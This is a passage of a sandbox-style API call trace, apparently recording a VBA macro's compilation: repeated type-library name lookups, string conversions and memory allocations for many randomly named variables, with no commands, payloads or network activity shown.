dwFlags=0x0, lpMultiByteStr=0xbb6ae96, cbMultiByte=10, lpWideCharStr=0xd5e0bce, cchWideChar=22 | out: lpWideCharStr="ifwivhvRwN") returned 10 [0019.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6aeaa, cbMultiByte=10, lpWideCharStr=0xd5e0d78, cchWideChar=22 | out: lpWideCharStr="IYDGNzzEnS") returned 10 [0019.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6aebe, cbMultiByte=10, lpWideCharStr=0xd5e0f22, cchWideChar=22 | out: lpWideCharStr="bCCGqcpscF") returned 10 [0019.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wkEuFjmF") returned 0x10b0dc [0019.260] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="wkEuFjmF" | out: _Dst="wkEuFjmF") returned 0x0 [0019.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="wkEuFjmF") returned 9 [0019.260] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.260] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wkEuFjmF", lHashVal=0x10b0dc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.260] IUnknown:Release (This=0x7919520) returned 0x12 [0019.260] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.260] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wkEuFjmF", lHashVal=0x10b0dc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.260] IUnknown:Release (This=0x7346470) returned 0xb [0019.260] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.260] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wkEuFjmF", lHashVal=0x10b0dc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.260] IUnknown:Release (This=0x7345930) returned 0x7 [0019.260] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.260] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wkEuFjmF", lHashVal=0x10b0dc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.261] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.261] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.261] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_wkEuFjmF" | out: _Dst="_B_var_wkEuFjmF") returned 0x0 [0019.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_wkEuFjmF") returned 16 [0019.261] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.262] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wkEuFjmF", lHashVal=0x108865, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.262] IUnknown:Release (This=0x7919520) returned 0x12 [0019.262] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.262] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wkEuFjmF", lHashVal=0x108865, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.262] IUnknown:Release (This=0x7346470) returned 0xb [0019.262] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.262] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wkEuFjmF", lHashVal=0x108865, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.262] IUnknown:Release (This=0x7345930) returned 0x7 [0019.262] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.262] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wkEuFjmF", lHashVal=0x108865, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.262] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.262] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.262] IUnknown:Release (This=0x7919520) returned 0x12 [0019.262] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ldNfBkJk") returned 0x1030ec [0019.262] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="ldNfBkJk" | out: _Dst="ldNfBkJk") returned 0x0 [0019.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="ldNfBkJk") returned 9 [0019.262] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.262] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ldNfBkJk", lHashVal=0x1030ec, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.262] IUnknown:Release (This=0x7919520) returned 0x12 [0019.262] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.262] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ldNfBkJk", lHashVal=0x1030ec, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.262] IUnknown:Release (This=0x7346470) returned 0xb [0019.262] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.262] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ldNfBkJk", lHashVal=0x1030ec, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.262] IUnknown:Release (This=0x7345930) returned 0x7 [0019.262] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.262] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ldNfBkJk", lHashVal=0x1030ec, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.262] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.263] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.263] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_ldNfBkJk" | out: _Dst="_B_var_ldNfBkJk") returned 0x0 [0019.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_ldNfBkJk") returned 16 [0019.263] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.263] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ldNfBkJk", lHashVal=0x100875, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.263] IUnknown:Release (This=0x7919520) returned 0x12 [0019.263] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.263] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ldNfBkJk", lHashVal=0x100875, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.263] IUnknown:Release (This=0x7346470) returned 0xb [0019.263] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.263] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ldNfBkJk", lHashVal=0x100875, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.263] IUnknown:Release (This=0x7345930) returned 0x7 [0019.263] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.263] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ldNfBkJk", lHashVal=0x100875, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.263] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.263] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.263] IUnknown:Release (This=0x7919520) returned 0x12 [0019.263] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd5f0000 [0019.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af1c, cbMultiByte=10, lpWideCharStr=0xd5f0124, cchWideChar=22 | out: lpWideCharStr="EjvltBIlqo") returned 10 [0019.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af36, cbMultiByte=10, lpWideCharStr=0xd5f056e, cchWideChar=22 | out: lpWideCharStr="pwPjSUfqpp") returned 10 [0019.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af4a, cbMultiByte=10, lpWideCharStr=0xd5f0718, cchWideChar=22 | out: lpWideCharStr="NiQUlzbDjz") returned 10 [0019.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af5e, cbMultiByte=10, lpWideCharStr=0xd5f08c2, cchWideChar=22 | out: lpWideCharStr="kEUsUhREBP") returned 10 [0019.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af72, cbMultiByte=10, lpWideCharStr=0xd5f0a6c, cchWideChar=22 | out: lpWideCharStr="UswLljTXmV") returned 10 [0019.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af86, cbMultiByte=10, lpWideCharStr=0xd5f0c16, cchWideChar=22 | out: lpWideCharStr="FjdSdWTaAv") returned 10 [0019.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6af9a, cbMultiByte=10, lpWideCharStr=0xd5f0dc0, cchWideChar=22 | out: lpWideCharStr="aFCtDliWOl") returned 10 [0019.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6afae, cbMultiByte=10, lpWideCharStr=0xd5f0f6a, cchWideChar=22 | out: lpWideCharStr="DbpaUUkEiB") returned 10 [0019.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sIJmjpOPV") returned 0x10de73 [0019.266] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="sIJmjpOPV" | out: _Dst="sIJmjpOPV") returned 0x0 [0019.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="sIJmjpOPV") returned 10 [0019.266] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.266] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="sIJmjpOPV", lHashVal=0x10de73, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.266] IUnknown:Release (This=0x7919520) returned 0x12 [0019.266] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.266] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="sIJmjpOPV", lHashVal=0x10de73, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.266] IUnknown:Release (This=0x7346470) returned 0xb [0019.266] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.266] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="sIJmjpOPV", lHashVal=0x10de73, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.266] IUnknown:Release (This=0x7345930) returned 0x7 [0019.266] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.266] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="sIJmjpOPV", lHashVal=0x10de73, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.267] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.267] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.267] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_sIJmjpOPV" | out: _Dst="_B_var_sIJmjpOPV") returned 0x0 [0019.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_sIJmjpOPV") returned 17 [0019.267] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.267] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_sIJmjpOPV", lHashVal=0x10e7b8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.267] IUnknown:Release (This=0x7919520) returned 0x12 [0019.267] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.267] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_sIJmjpOPV", lHashVal=0x10e7b8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.267] IUnknown:Release (This=0x7346470) returned 0xb [0019.267] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.267] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_sIJmjpOPV", lHashVal=0x10e7b8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.267] IUnknown:Release (This=0x7345930) returned 0x7 [0019.267] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.267] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_sIJmjpOPV", lHashVal=0x10e7b8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.267] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.267] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.267] IUnknown:Release (This=0x7919520) returned 0x12 [0019.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6afe6, cbMultiByte=10, lpWideCharStr=0xd5f3826, cchWideChar=22 | out: lpWideCharStr="aWrotlYACX") returned 10 [0019.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6affa, cbMultiByte=10, lpWideCharStr=0xd5f39d0, cchWideChar=22 | out: lpWideCharStr="NTwSdbdprS") returned 10 [0019.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b00e, cbMultiByte=10, lpWideCharStr=0xd5f3b7a, cchWideChar=22 | out: lpWideCharStr="rDoqGzGLcH") returned 10 [0019.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b022, cbMultiByte=10, lpWideCharStr=0xd5f3d24, cchWideChar=22 | out: lpWideCharStr="ipADsFLNNF") returned 10 [0019.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b036, cbMultiByte=10, lpWideCharStr=0xd5f3ece, cchWideChar=22 | out: lpWideCharStr="EppEsnMwPC") returned 10 [0019.268] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd600000 [0019.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b04a, cbMultiByte=10, lpWideCharStr=0xd6000a4, cchWideChar=22 | out: lpWideCharStr="ccSksXhAiu") returned 10 [0019.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b05e, cbMultiByte=10, lpWideCharStr=0xd60024e, cchWideChar=22 | out: lpWideCharStr="iNXvpXSsaY") returned 10 [0019.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LjuQSbXtj") returned 0x105a91 [0019.269] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="LjuQSbXtj" | out: _Dst="LjuQSbXtj") returned 0x0 [0019.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="LjuQSbXtj") returned 10 [0019.269] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.269] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LjuQSbXtj", lHashVal=0x105a91, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.269] IUnknown:Release (This=0x7919520) returned 0x12 [0019.269] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.269] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LjuQSbXtj", lHashVal=0x105a91, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.269] IUnknown:Release (This=0x7346470) returned 0xb [0019.269] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.269] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LjuQSbXtj", lHashVal=0x105a91, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.269] IUnknown:Release (This=0x7345930) returned 0x7 [0019.269] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.269] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LjuQSbXtj", lHashVal=0x105a91, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.270] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.270] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.270] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_LjuQSbXtj" | out: _Dst="_B_var_LjuQSbXtj") returned 0x0 [0019.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_LjuQSbXtj") returned 17 [0019.270] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.270] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LjuQSbXtj", lHashVal=0x1063d6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.270] IUnknown:Release (This=0x7919520) returned 0x12 [0019.270] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.270] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LjuQSbXtj", lHashVal=0x1063d6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.270] IUnknown:Release (This=0x7346470) returned 0xb [0019.270] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.270] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LjuQSbXtj", lHashVal=0x1063d6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.270] IUnknown:Release (This=0x7345930) returned 0x7 [0019.270] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.270] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LjuQSbXtj", lHashVal=0x1063d6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.270] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.270] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.270] IUnknown:Release (This=0x7919520) returned 0x12 [0019.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b096, cbMultiByte=10, lpWideCharStr=0xd602b0a, cchWideChar=22 | out: lpWideCharStr="dqXwDqdaPq") returned 10 [0019.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b0aa, cbMultiByte=10, lpWideCharStr=0xd602cb4, cchWideChar=22 | out: lpWideCharStr="mMJziLJKub") returned 10 [0019.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b0be, cbMultiByte=10, lpWideCharStr=0xd602e5e, cchWideChar=22 | out: lpWideCharStr="vTwEwRppIh") returned 10 [0019.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b0d2, cbMultiByte=10, lpWideCharStr=0xd603008, cchWideChar=22 | out: lpWideCharStr="iQOGnOSvSU") returned 10 [0019.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b0e6, cbMultiByte=10, lpWideCharStr=0xd6031b2, cchWideChar=22 | out: lpWideCharStr="viAUTMJdAI") returned 10 [0019.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b0fa, cbMultiByte=10, lpWideCharStr=0xd60335c, cchWideChar=22 | out: lpWideCharStr="HcYOmKsSzl") returned 10 [0019.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b10e, cbMultiByte=10, lpWideCharStr=0xd603506, cchWideChar=22 | out: lpWideCharStr="BnRhLVwDMP") returned 10 [0019.271] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd610000 [0019.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wjvJZB") returned 0x10bf0b [0019.272] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="wjvJZB" | out: _Dst="wjvJZB") returned 0x0 [0019.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="wjvJZB") returned 7 [0019.272] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.272] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wjvJZB", lHashVal=0x10bf0b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.272] IUnknown:Release (This=0x7919520) returned 0x12 [0019.272] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.272] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wjvJZB", lHashVal=0x10bf0b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.272] IUnknown:Release (This=0x7346470) returned 0xb [0019.272] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.272] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wjvJZB", lHashVal=0x10bf0b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.272] IUnknown:Release (This=0x7345930) returned 0x7 [0019.272] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.272] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wjvJZB", lHashVal=0x10bf0b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.272] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.272] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.272] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_wjvJZB" | out: _Dst="_B_var_wjvJZB") returned 0x0 [0019.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_wjvJZB") returned 14 [0019.273] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.273] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wjvJZB", lHashVal=0x103975, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.273] IUnknown:Release (This=0x7919520) returned 0x12 [0019.273] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.273] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wjvJZB", lHashVal=0x103975, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.273] IUnknown:Release (This=0x7346470) returned 0xb [0019.273] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.273] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wjvJZB", lHashVal=0x103975, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.273] IUnknown:Release (This=0x7345930) returned 0x7 [0019.273] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.273] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wjvJZB", lHashVal=0x103975, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.273] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.273] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.273] IUnknown:Release (This=0x7919520) returned 0x12 [0019.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CHMcCkuwJ") returned 0x103595 [0019.273] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="CHMcCkuwJ" | out: _Dst="CHMcCkuwJ") returned 0x0 [0019.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="CHMcCkuwJ") returned 10 [0019.273] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.273] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="CHMcCkuwJ", lHashVal=0x103595, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.273] IUnknown:Release (This=0x7919520) returned 0x12 [0019.273] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.273] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="CHMcCkuwJ", lHashVal=0x103595, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.273] IUnknown:Release (This=0x7346470) returned 0xb [0019.273] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.273] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="CHMcCkuwJ", lHashVal=0x103595, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.273] IUnknown:Release (This=0x7345930) returned 0x7 [0019.273] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.273] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="CHMcCkuwJ", lHashVal=0x103595, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.273] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.273] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.273] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_CHMcCkuwJ", lHashVal=0x103eda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.273] IUnknown:Release (This=0x7919520) returned 0x12 [0019.273] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.273] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_CHMcCkuwJ", lHashVal=0x103eda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.274] IUnknown:Release (This=0x7346470) returned 0xb [0019.274] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.274] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_CHMcCkuwJ", lHashVal=0x103eda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.274] IUnknown:Release (This=0x7345930) returned 0x7 [0019.274] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.274] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_CHMcCkuwJ", lHashVal=0x103eda, 